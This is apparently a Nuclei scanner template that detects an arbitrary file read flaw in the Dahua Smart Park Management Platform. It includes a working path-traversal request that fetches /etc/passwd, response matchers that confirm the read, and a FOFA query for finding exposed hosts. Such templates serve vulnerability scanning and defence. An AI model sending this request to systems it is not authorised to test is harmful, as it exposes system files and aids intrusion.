Description
Dahua Smart Park Management Platform is vulnerable to Local File Inclusion.
Dahua Smart Park Management Platform is vulnerable to Local File Inclusion.
id: dahua-wpms-lfi
info:
name: Dahua Smart Park Management Platform - Arbitary File Read
author: DhiyaneshDk
severity: high
description: Dahua Smart Park Management Platform is vulnerable to Local File Inclusion.
reference:
- https://mp.weixin.qq.com/s/uRhVl2XC5fTNKO8eDFFebA
- https://github.com/Vme18000yuan/FreePOC/blob/master/poc/pocsuite/dahua_zhyq_attachment_fileread.py
classification:
cwe-id: CWE-22,CWE-73
metadata:
verified: true
max-request: 1
fofa-query: body="src=\"/WPMS/asset/common/js/jsencrypt.min.js\""
tags: lfi,dahua,wpms,vuln
http:
- method: GET
path:
- "{{BaseURL}}/portal/itc/attachment_downloadByUrlAtt.action?filePath=file:/etc/passwd"
matchers-condition: and
matchers:
- type: word
part: header
words:
- filename=passwd
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a00473045022100d6665e46e3d152c582f630ac6153425c2b860306a6d003fa1c7a38c6af188376022020454e89303e885c059aaaac828c90b287ea57c8daf56d021535323200ff6fbf:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.